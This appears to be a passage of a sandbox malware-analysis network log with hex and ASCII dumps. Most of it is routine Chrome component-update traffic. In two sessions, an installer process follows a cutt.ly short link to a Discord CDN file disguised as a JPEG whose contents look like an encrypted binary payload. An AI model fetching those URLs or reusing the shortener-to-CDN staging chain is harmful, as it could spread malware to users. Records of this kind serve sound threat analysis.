2022-08-23 01:43:33 UTC	60	IN	Data Raw: 75 64 61 5f 32 30 32 32 2e 38 2e 38 2e 31 31 34 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 79 6d 36 36 34 6a 73 35 78 75 78 36 6b 77 32 76 69 79 34 61 74 77 34 75 64 61 5f 32 30 32 32 2e 38 2e 38 2e 31 31 34 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 79 6d 36 36 34 6a 73 35 78 75 78 36 6b 77 32 76 69 79 34 61 74 77 34 75 64 61 5f 32 30 32 32 2e 38 2e 38 2e 31 31 34 34 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 Data Ascii: uda_2022.8.8.1144/"},{"codebase":"https://redirector.gvt1.com/edgedl/release2/chrome_component/acym664js5xux6kw2viy4atw4uda_2022.8.8.1144/"},{"codebase":"http://dl.google.com/release2/chrome_component/acym664js5xux6kw2viy4atw4uda_2022.8.8.1144/"},{"codeba
2022-08-23 01:43:33 UTC	61	IN	Data Raw: 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 6e 70 69 67 63 37 67 78 6e 37 73 78 71 34 35 6f 76 75 6b 68 69 64 62 36 62 71 5f 32 38 35 39 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 6e 70 69 67 63 37 67 78 6e 37 73 78 71 34 35 6f 76 75 6b 68 69 64 62 36 62 71 5f 32 38 35 39 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 6e 70 69 67 63 37 67 78 6e 37 73 78 71 34 35 6f 76 75 6b 68 69 64 62 36 62 71 5f 32 38 35 39 2f Data Ascii: release2/chrome_component/adnpigc7gxn7sxq45ovukhidb6bq_2859/"},{"codebase":"http://dl.google.com/release2/chrome_component/adnpigc7gxn7sxq45ovukhidb6bq_2859/"},{"codebase":"https://dl.google.com/release2/chrome_component/adnpigc7gxn7sxq45ovukhidb6bq_2859/
2022-08-23 01:43:33 UTC	63	IN	Data Raw: 5f 33 34 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 62 35 77 32 79 78 63 75 78 75 73 68 69 72 7a 7a 32 73 79 6a 66 68 75 68 72 71 5f 33 34 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 63 62 35 77 32 79 78 63 75 78 75 73 68 69 72 7a 7a 32 73 79 6a 66 68 75 68 72 71 5f 33 34 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 Data Ascii: _341/"},{"codebase":"https://dl.google.com/release2/chrome_component/acb5w2yxcuxushirzz2syjfhuhrq_341/"},{"codebase":"http://www.google.com/dl/release2/chrome_component/acb5w2yxcuxushirzz2syjfhuhrq_341/"},{"codebase":"https://www.google.com/dl/release2/ch
2022-08-23 01:43:33 UTC	64	IN	Data Raw: 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6e 6b 77 63 6b 7a 68 34 66 33 68 71 33 79 33 6a 76 34 63 32 71 35 75 62 63 75 5f 31 30 37 2e 30 2e 35 32 35 35 2e 30 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6e 6b 77 63 6b 7a 68 34 66 33 68 71 33 79 33 6a 76 34 63 32 71 35 75 62 63 75 5f 31 30 37 2e 30 2e 35 32 35 35 2e 30 2f 22 7d 5d 7d 2c 22 6d 61 6e 69 66 65 73 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 30 37 2e 30 2e 35 32 35 35 2e 30 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 Data Ascii: oogle.com/dl/release2/chrome_component/nkwckzh4f3hq3y3jv4c2q5ubcu_107.0.5255.0/"},{"codebase":"https://www.google.com/dl/release2/chrome_component/nkwckzh4f3hq3y3jv4c2q5ubcu_107.0.5255.0/"}]},"manifest":{"version":"107.0.5255.0","packages":{"package":[{"h
2022-08-23 01:43:33 UTC	65	IN	Data Raw: 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 61 64 74 70 36 33 78 61 64 7a 71 75 36 79 79 73 6a 6f 6c 6d 65 33 33 68 6a 78 6f 71 5f 32 30 32 32 30 35 30 35 2f 22 7d 5d 7d 2c 22 6d 61 6e 69 66 65 73 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 32 30 32 32 30 35 30 35 22 2c 22 70 61 63 6b 61 67 65 73 22 3a 7b 22 70 61 63 6b 61 67 65 22 3a 5b 7b 22 68 61 73 68 5f 73 68 61 32 35 36 22 3a 22 30 63 32 34 65 39 62 64 39 37 36 61 64 66 66 61 39 38 37 65 30 38 66 63 35 34 64 63 30 39 35 30 63 38 34 63 66 31 38 66 39 63 64 62 34 63 35 63 61 61 62 63 36 61 63 66 32 34 38 38 37 63 34 66 22 2c 22 73 69 7a 65 22 3a 31 33 39 33 37 31 2c 22 6e 61 6d 65 22 3a 22 64 68 6c 70 6f 62 64 67 63 6a 61 Data Ascii: .google.com/dl/release2/chrome_component/adtp63xadzqu6yysjolme33hjxoq_20220505/"}]},"manifest":{"version":"20220505","packages":{"package":[{"hash_sha256":"0c24e9bd976adffa987e08fc54dc0950c84cf18f9cdb4c5caabc6acf24887c4f","size":139371,"name":"dhlpobdgcja
2022-08-23 01:43:33 UTC	67	IN	Data Raw: 37 62 36 32 66 65 39 30 36 66 34 37 30 39 35 62 61 35 61 65 31 31 32 64 30 22 2c 22 73 69 7a 65 22 3a 33 39 34 31 33 33 2c 22 6e 61 6d 65 22 3a 22 61 6e 47 6e 76 33 31 64 6d 4f 4a 68 68 65 58 42 6e 59 51 33 67 77 22 2c 22 66 70 22 3a 22 31 2e 34 37 38 61 61 39 31 35 65 37 38 38 37 38 65 33 33 32 61 30 62 34 62 62 34 64 32 61 36 66 62 36 37 66 66 31 63 37 66 37 62 36 32 66 65 39 30 36 66 34 37 30 39 35 62 61 35 61 65 31 31 32 64 30 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 5a 45 71 65 38 6c 37 50 63 76 5a 64 54 4e 32 50 78 6f 70 73 53 4d 71 44 6b 31 41 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 64 6e 68 6e 6e 6f 66 6f 63 65 66 63 67 6c 68 6a 65 69 67 6d 6b 68 63 67 66 6f 61 69 70 62 61 61 22 Data Ascii: 7b62fe906f47095ba5ae112d0","size":394133,"name":"anGnv31dmOJhheXBnYQ3gw","fp":"1.478aa915e78878e332a0b4bb4d2a6fb67ff1c7f7b62fe906f47095ba5ae112d0","required":true,"hash":"ZEqe8l7PcvZdTN2PxopsSMqDk1A\u003d"}]}}}},{"appid":"dnhnnofocefcglhjeigmkhcgfoaipbaa"
2022-08-23 01:43:33 UTC	68	IN	Data Raw: 65 35 34 63 38 33 38 62 34 31 33 62 34 34 31 36 31 65 36 38 65 62 33 64 33 61 64 38 30 61 39 36 31 31 37 36 37 38 64 31 36 39 38 37 33 33 36 62 33 30 66 37 65 31 22 2c 22 72 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 34 57 57 69 33 52 33 59 68 47 71 4e 68 68 57 68 36 7a 37 2f 67 72 47 72 71 48 6f 5c 75 30 30 33 64 22 7d 5d 7d 7d 7d 7d 2c 7b 22 61 70 70 69 64 22 3a 22 69 6d 65 66 6a 68 66 62 6b 6d 63 6d 65 62 6f 64 69 6c 65 64 6e 68 6d 61 63 63 6d 69 6e 63 6f 61 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 31 34 38 72 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 64 65 73 6b 74 6f 70 5f 31 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 Data Ascii: e54c838b413b44161e68eb3d3ad80a96117678d16987336b30f7e1","required":true,"hash":"4WWi3R3YhGqNhhWh6z7/grGrqHo\u003d"}]}}}},{"appid":"imefjhfbkmcmebodilednhmaccmincoa","cohort":"1:148r:","status":"ok","cohortname":"desktop_1","ping":{"status":"ok"},"updatech
2022-08-23 01:43:33 UTC	69	IN	Data Raw: 61 65 64 68 65 6c 6c 68 22 2c 22 63 6f 68 6f 72 74 22 3a 22 31 3a 77 35 39 3a 22 2c 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 63 6f 68 6f 72 74 6e 61 6d 65 22 3a 22 41 75 74 6f 22 2c 22 70 69 6e 67 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 7d 2c 22 75 70 64 61 74 65 63 68 65 63 6b 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 75 72 6c 73 22 3a 7b 22 75 72 6c 22 3a 5b 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 41 4a 71 5a 59 69 71 47 76 43 74 69 78 36 34 53 32 4e 38 34 67 2d 4d 5f 32 30 32 30 2e 31 31 2e 32 2e 31 36 34 39 34 36 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 Data Ascii: aedhellh","cohort":"1:w59:","status":"ok","cohortname":"Auto","ping":{"status":"ok"},"updatecheck":{"status":"ok","urls":{"url":[{"codebase":"http://redirector.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/"},{"codebas
2022-08-23 01:43:33 UTC	70	IN	Data Raw: 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6a 64 74 7a 35 72 78 78 7a 72 64 77 73 63 6b 6c 71 76 69 32 75 79 6b 74 67 34 5f 32 30 32 32 2e 32 2e 31 35 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 73 3a 2f 2f 72 65 64 69 72 65 63 74 6f 72 2e 67 76 74 31 2e 63 6f 6d 2f 65 64 67 65 64 6c 2f 72 65 6c 65 61 73 65 32 2f 63 68 72 6f 6d 65 5f 63 6f 6d 70 6f 6e 65 6e 74 2f 6a 64 74 7a 35 72 78 78 7a 72 64 77 73 63 6b 6c 71 76 69 32 75 79 6b 74 67 34 5f 32 30 32 32 2e 32 2e 31 35 2e 31 2f 22 7d 2c 7b 22 63 6f 64 65 62 61 73 65 22 3a 22 68 74 74 70 3a 2f 2f 64 6c 2e 67 6f 6f 67 6c 65 2e 63 Data Ascii: ase":"http://redirector.gvt1.com/edgedl/release2/chrome_component/jdtz5rxxzrdwscklqvi2uyktg4_2022.2.15.1/"},{"codebase":"https://redirector.gvt1.com/edgedl/release2/chrome_component/jdtz5rxxzrdwscklqvi2uyktg4_2022.2.15.1/"},{"codebase":"http://dl.google.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49829	104.22.1.232	443	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:43:52 UTC	71	OUT	GET /IXlgfrm HTTP/1.1 Host: cutt.ly Connection: Keep-Alive
2022-08-23 01:43:52 UTC	71	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 23 Aug 2022 01:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: PHPSESSID=urb7me37r89phn0kr3202j39o3; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-cache, no-store, must-revalidate pragma: no-cache location: https://cdn.discordapp.com/attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.jpg vary: Accept-Encoding x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 73f028e759b89170-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-23 01:43:52 UTC	72	IN	Data Raw: 31 36 36 0d 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 31 31 32 37 36 33 34 33 34 2d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 20 64 61 74 61 2d 63 6f 6f 6b 69 65 63 61 74 65 67 6f 72 79 3d 22 61 6e 61 6c 79 74 69 63 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 20 64 61 74 61 2d 63 6f 6f 6b 69 65 63 61 74 65 67 6f 72 79 3d 22 61 6e 61 6c 79 74 69 63 73 22 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f Data Ascii: 166<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112763434-1" type="text/plain" data-cookiecategory="analytics"></script><script type="text/plain" data-cookiecategory="analytics">window.dataLayer = window.dataLayer \|\| [];functio
2022-08-23 01:43:52 UTC	73	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49830	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:43:52 UTC	73	OUT	GET /attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-08-23 01:43:52 UTC	73	IN	HTTP/1.1 200 OK Date: Tue, 23 Aug 2022 01:43:52 GMT Content-Type: image/jpeg Content-Length: 2311688 Connection: close CF-Ray: 73f028e85ec59042-FRA Accept-Ranges: bytes Age: 332149 Cache-Control: public, max-age=31536000 ETag: "25fca6f6f600376dcc18d5a167d40ce2" Expires: Wed, 23 Aug 2023 01:43:52 GMT Last-Modified: Wed, 17 Aug 2022 09:35:09 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1660728909883259 x-goog-hash: crc32c=HppSIw== x-goog-hash: md5=Jfym9vYAN23MGNWhZ9QM4g== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 2311688 X-GUploader-UploadID: ADPycduJO76CdCzFO23lZFInklii6NzbRr1S3LeEJ2rX4_4ZmhcQ8fa2uPFVH6K7lkp_WJCI9_iA1XaYQNOZEmZWkyB7sg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=54S4XSeckT0tagjEvreTG30AG6rpgMhTKBUIAD4xJbzxMy8R%2BB8%2FxbjLywdRQQ52YiPzwfFvfyaRxiUzrzOuFskFPgAlTr2tlBK11rNXhyq3D4vlEx7xwT2sgxx1jIgoN0R2hQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2022-08-23 01:43:52 UTC	74	IN	Data Raw: ad 6c ba 17 7d f0 d3 88 24 9e 28 dc 0e 3c 63 11 27 3a bb 48 5f 33 e3 74 d0 96 e4 72 37 57 25 96 1f 12 7a 02 bc 66 d6 03 1f 12 7a 02 bc 66 d6 03 1f 12 7a 02 bc 66 d6 03 e4 07 11 d5 f2 d0 45 df 1f de f7 5d f2 f4 68 e9 47 af da 15 3f ac f5 36 3e 95 c9 dc 28 0e 52 34 6f 67 4c 17 fa 7d 86 fe f4 6e f2 f5 92 11 7f fd 36 39 b5 b2 7f c9 ab 10 a9 26 e1 8d 81 f4 bd ae 20 b3 00 87 56 3d 22 41 e8 46 96 45 04 b1 b8 e4 23 02 8f f7 dd 42 94 d6 f9 95 d1 30 a6 16 52 87 f8 c4 87 32 d7 2d 37 21 90 83 f7 b2 9c 93 f9 1b b1 83 8c 31 8b 6f 60 dd 09 09 63 28 74 d9 84 72 44 3b c9 4b 37 63 a8 d7 41 0b 43 ba 84 d1 a9 93 41 0b 43 ba 84 d1 a9 93 39 a4 80 6a 4f ca 1c 9b 56 dc 54 c9 b8 8f 1b 93 69 8b 0a cc ac 42 46 b3 69 8b 0a cc ac 42 46 b3 04 ec 58 03 94 09 e5 10 1f 12 7a 02 bc 66 d6 Data Ascii: l}$(<c':H_3tr7W%zfzfzfE]hG?6>(R4ogL}n69& V="AFE#B0R2-7!1o`c(trD;K7cACAC9jOVTiBFiBFXzf
2022-08-23 01:43:52 UTC	75	IN	Data Raw: b2 a0 c6 f1 e7 c5 c1 fe b5 08 e0 58 73 ef 57 ca 42 e7 63 1a c2 81 ea 89 3d 0d f5 0f ed e2 6f f6 de 55 de 58 86 64 66 7e 80 ca a5 ed c9 a8 25 72 a1 6b 23 93 14 75 a4 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 b5 23 66 a5 97 2b 1f fa de 6f 61 05 28 8e 52 77 7a 71 a5 5c 83 f3 5b d3 0b b8 8b d0 24 e5 ed 0a 02 ce 8d 07 0c 61 94 bf 0b b8 8b d0 24 e5 ed 0a 4e 5f 59 12 b2 c9 c3 5c d3 08 95 19 23 18 ad 94 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 22 81 d8 df 2b a3 63 8d 88 06 98 63 c4 40 ce c1 fe 38 05 3f 2c bc 95 46 ee 35 c5 67 12 4d 60 a3 94 75 4c f2 62 a1 26 69 3a 34 72 e5 3c 83 c1 28 eb 0f 51 5d 0d 20 32 62 45 56 13 91 a7 9c 04 e3 2e d5 9f ff 99 3e de f6 6d 68 b4 cb 66 8c 2b af 05 7f c8 73 b8 28 d1 f6 d6 2b b4 db 4e 49 b7 fb Data Ascii: XsWBc=oUXdf~%rk#uS>zft`9aQ#f+oa(Rwzq\[$a$N_Y\#_.I"1zf"+cc@8?,F5gM`uLb&i:4r<(Q] 2bEV.>mhf+s(+NI
2022-08-23 01:43:52 UTC	77	IN	Data Raw: f5 4c 25 52 b1 50 a2 e0 b9 46 3f 38 88 0a 3d 9e a5 c3 34 5b 5e 89 cc 12 ea 78 6f bc 2d b8 45 56 13 91 a7 9c 04 e3 71 14 b0 fe 78 28 db 50 1e 48 e3 6e f6 d2 92 f1 0f 4d 70 a0 ef 08 bd 0f 74 9a 71 11 62 42 35 c6 5a a6 b2 62 72 dc cd 50 cc db bf 26 46 54 6b 77 61 2b de cd 62 76 ad d0 d7 14 33 f4 5a 91 50 4f 3e d3 c7 de 92 e0 2a 98 fd 88 fa 2a 88 cc dd 85 0a ed be 1e 53 c5 06 ad 69 a7 4f 37 09 23 c5 d9 24 fb 7d 52 0a d4 c6 8d 04 46 14 95 8c c8 34 d9 03 ae a6 75 98 a9 fb e5 b3 ee 5e dd 6c 4e ea 73 c8 87 5e e8 61 e4 be 3a 3f cb 2e cc 55 dc a1 b3 7e c5 80 e6 16 24 ff 8d a5 39 5f 38 e9 77 8b 3d 2b a9 bf ed d9 27 52 94 69 d5 45 61 13 49 d1 a4 15 b7 59 30 b9 0d c8 9b 1b b8 eb bc 79 39 82 c6 a7 ce 41 88 cd 42 09 c4 59 02 e1 d2 a6 c5 82 66 a4 a2 d8 16 87 a3 94 d4 08 Data Ascii: L%RPF?8=4[^xo-EVqx(PHnMptqbB5ZbrP&FTkwa+bv3ZPO>**SiO7#$}RF4u^lNs^a:?.U~$9_8w=+'RiEaIY0y9ABYf
2022-08-23 01:43:52 UTC	78	IN	Data Raw: be 74 3c 0b 26 dd 37 41 8f 2c 28 3d bf 64 de b5 ba 2f 73 59 bc 37 72 8e 1b b3 7d 4d f1 81 03 f1 88 bb 0e 86 6c 49 4f ae 19 a8 51 8d d9 72 98 d5 b9 0c 69 e2 ce b4 fe 93 6c 3a 5c 2c e9 ec f7 8e 1e 47 d5 f2 94 7e de d5 12 c9 d5 ce 7c 22 a5 96 83 d1 b9 c0 eb 37 ca 34 97 97 1a 1a 3e cd de 7a ee 7e 4e 9a a1 a7 d9 30 c4 c4 90 90 14 42 14 e3 62 b1 df 23 62 87 0d 60 10 2a 57 82 f0 dc 84 7b d9 d7 37 f4 70 bc 82 55 2a e6 5b c4 31 a0 cf b2 fc 50 ea 4b 6b 7e ca d3 59 42 14 a2 fc 5f 89 04 01 ba 1d 21 a8 66 bf 5b f9 89 32 51 73 6f bd 79 a7 ea db 05 22 ff 3b da 07 3e 53 ba 63 a3 bd a2 30 4b 94 26 59 3f ad 70 4e b8 5b eb 33 58 f1 04 5b de dc 96 0b 44 7a 17 c2 93 bc 85 15 78 cf 05 fb c5 f1 27 5a ee 03 63 5c 8b dc 58 8e 91 a3 43 e6 fa 69 e8 62 1f 5d fe 19 d2 ef 8d 0d 62 d8 Data Ascii: t<&7A,(=d/sY7r}MlIOQril:\,G~\|"74>z~N0Bb#b`W{7pU[1PKk~YB_!f[2Qsoy";>Sc0K&Y?pN[3X[Dzx'Zc\XCib]b
2022-08-23 01:43:52 UTC	79	IN	Data Raw: b0 cc 0f f2 45 9d 75 c5 ac 40 e3 61 46 f3 80 c5 a7 59 15 f1 02 e8 9c 3e 75 4a 10 bb 22 b7 56 24 04 9c 52 09 42 11 88 50 48 c3 43 80 7c 93 36 97 4a 37 eb 46 25 6d 8b 69 c2 3b fa 52 0d 09 62 a4 1b 27 7c a4 c2 42 05 8f 8e 58 e3 23 ab 79 3a ba 62 3f 64 55 b8 0d 47 7d 49 7b e3 5d 30 11 5f 62 40 f3 00 39 8c 22 3c ef a4 5b dc 86 ae 68 08 f0 90 4d 2b 37 45 56 13 91 a7 9c 04 e3 8f d3 d1 de 90 c9 4e b5 de 1b 22 1c 4b a4 84 56 66 f9 c9 0d 30 be a4 21 2a 51 c1 b3 79 46 95 85 0f 8b 87 18 e9 21 7e 2c 2e 7c ba 58 93 52 07 34 e6 a0 48 80 0e c4 54 61 8a 5e d1 ed 36 48 c8 67 9e 18 5c 24 5b 56 24 36 1b 82 98 9f 5b ce ac af 89 ee 75 c4 64 7a 88 8a da 70 a9 df 8c 1c 78 ef 96 71 45 4f 3f da 88 57 6c 30 82 7c a6 c1 b6 c2 d3 4d 6b c4 0c d3 4f 9f 0c 5f 46 89 9b 30 9e bf e2 df 54 Data Ascii: Eu@aFY>uJ"V$RBPHC\|6J7F%mi;Rb'\|BX#y:b?dUG}I{]0_b@9"<[hM+7EVN"KVf0!*QyF!~,.\|XR4HTa^6Hg\$[V$6[udzpxqEO?Wl0\|MkO_F0T
2022-08-23 01:43:52 UTC	81	IN	Data Raw: ea 4d cc 0a 62 9f c0 02 12 f8 c9 e2 6f 2d 39 c8 25 37 2e 34 4e b4 a8 0b e0 8e 3f b5 5e 44 36 fa 6c 4c 69 9e be 1e 0c 30 28 52 97 f0 49 b4 82 29 f4 81 17 28 22 95 f0 56 27 40 32 79 b6 3d 2c bb fe 26 83 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d0 7b 9d 4e 00 d0 1a f4 97 36 01 37 e1 1a 3b f1 c7 ee 6e 35 39 d5 5a 7d c5 c6 45 4c 54 8d 75 ec 22 5d 9c a7 85 a9 56 c0 b2 fa 4f 82 ce 00 98 64 45 56 13 91 a7 9c 04 e3 80 4e d7 b8 af b9 e7 f8 6d 68 b4 cb 66 8c 2b af 35 05 ed 00 56 d7 52 4f f5 49 c7 86 44 40 33 59 d6 02 bf 29 ef 4d 65 67 da b2 1f be a1 f1 4a f9 a2 4b 07 9a 7f a3 06 a6 35 a1 f6 39 3b af 6f 5a 40 51 b2 fe 99 ab 53 91 3a 39 e5 00 25 3f 93 18 f6 a7 83 8a 3f 0f de 7a 66 51 fc b7 6a ab da c6 ba 50 a0 49 5f 0d 57 87 6e 25 32 f7 1a e7 d5 29 7c fb 58 13 Data Ascii: Mbo-9%7.4N?^D6lLi0(RI)("V'@2y=,&_.I"1zf{N67;n59Z}ELTu"]VOdEVNmhf+5VROID@3Y)MegJK59;oZ@QS:9%??zfQjPI_Wn%2)\|X
2022-08-23 01:43:52 UTC	82	IN	Data Raw: a7 9b a0 1c 60 ec 50 b3 70 fa b3 37 fc cf 51 de 17 99 14 91 9d 4c cd ad 62 f7 15 f3 75 a0 96 6f 1d a0 42 d0 af f0 2d 25 83 94 44 d4 9e 56 a0 10 5b 74 8b 99 4d f8 d4 0b f6 af f6 83 d4 33 49 e3 72 8a 4e 61 18 77 15 3a 38 f0 24 30 36 6a 38 ff e2 e2 70 29 e4 b8 1a 46 70 1d 45 30 c4 44 d4 a8 54 6b 63 66 05 9c 9a ae 85 af f1 15 fd 60 1d d0 52 aa ea 3b 59 0c e2 e8 18 8a 8b be e0 61 77 f5 ae 0a 07 31 1a ad 7b 03 aa d2 8b 4f f7 4e 5e 50 cc 99 42 d0 af f0 2d 25 83 94 6d 87 42 5a b6 3f 7e 6a e2 6f 3c 64 7b 11 a9 99 67 89 9b be 83 60 df dc 24 8c 58 33 09 c1 e6 29 59 02 e1 d2 a6 c5 82 66 92 cb e9 d5 4f 87 4c a1 d5 8a e7 44 88 cc 91 2d bb 4d 61 5e bf f8 f8 7e e7 e8 b1 35 7b 49 3c 0d e0 29 40 a6 6d 38 ef b1 7e fb ed 05 84 28 c2 fc 73 38 8f 17 12 08 1b 89 bd 2b 53 d7 3e Data Ascii: `Pp7QLbuoB-%DV[tM3IrNaw:8$06j8p)FpE0DTkcf`R;Yaw1{ON^PB-%mBZ?~jo<d{g`$X3)YfOLD-Ma^~5{I<)@m8~(s8+S>
